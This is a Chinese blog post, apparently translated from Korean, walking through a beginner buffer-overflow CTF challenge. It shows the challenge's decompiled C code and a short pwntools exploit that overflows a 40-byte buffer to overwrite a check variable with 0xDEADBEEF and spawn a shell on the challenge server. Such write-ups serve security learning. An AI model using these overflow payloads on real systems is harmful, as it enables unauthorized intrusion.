2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable 的 write-up(cancancan):先追了栈金丝雀泄露这条错误线索,后来发现 printf(buf) 在 offset 6 处存在 FSB,并用 win 函数覆盖 read 的 GOT 表项。
2021-09-09 · 1분
这篇文章发布已超过两年,内容可能已过时。
网站: https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#1
最近不太写博客了,再写一次试试,,,
使用程序:ida7.5 pro, python 3.8.10, Ubuntu 20.04.3 LTS
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(s, 45, stdin);
printf("\n[buf]: %s\n", s);
printf("[check] %p\n", v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
这是从上面的网站下载题目并用 ida 反编译时出现的代码。
目的应该是运行 system("/bin/dash");..
我们输入的地方是 s,s 的范围是 40。但 fgets 会接收到 45。BOF 就在这里触发。
暂时看来 v5 只要是 0xDEADBEEF 就行。似乎是 dummy[40] + 0xDEADBEEF 就能解决的题。
源代码
查看更多
Exploit
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3000)
v5 = p32(0xDEADBEEF)
payload = b''
payload += b'A'*40 + v5
p.send(payload)
p.interactive()
[黑客/系统黑客] - [系统黑客] Buffer Overflow (BOF)
[[系统黑客] Buffer Overflow (BOF)
BUFFER OVERFLOW BOF 是当能接收比所设缓冲区大小更大的输入时产生的漏洞。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..
— nabomhalang.tistory.com
原文(韩语): tistory — 发布于 2021-09-09,已迁移至本博客。本翻译由 AI 协助完成。
…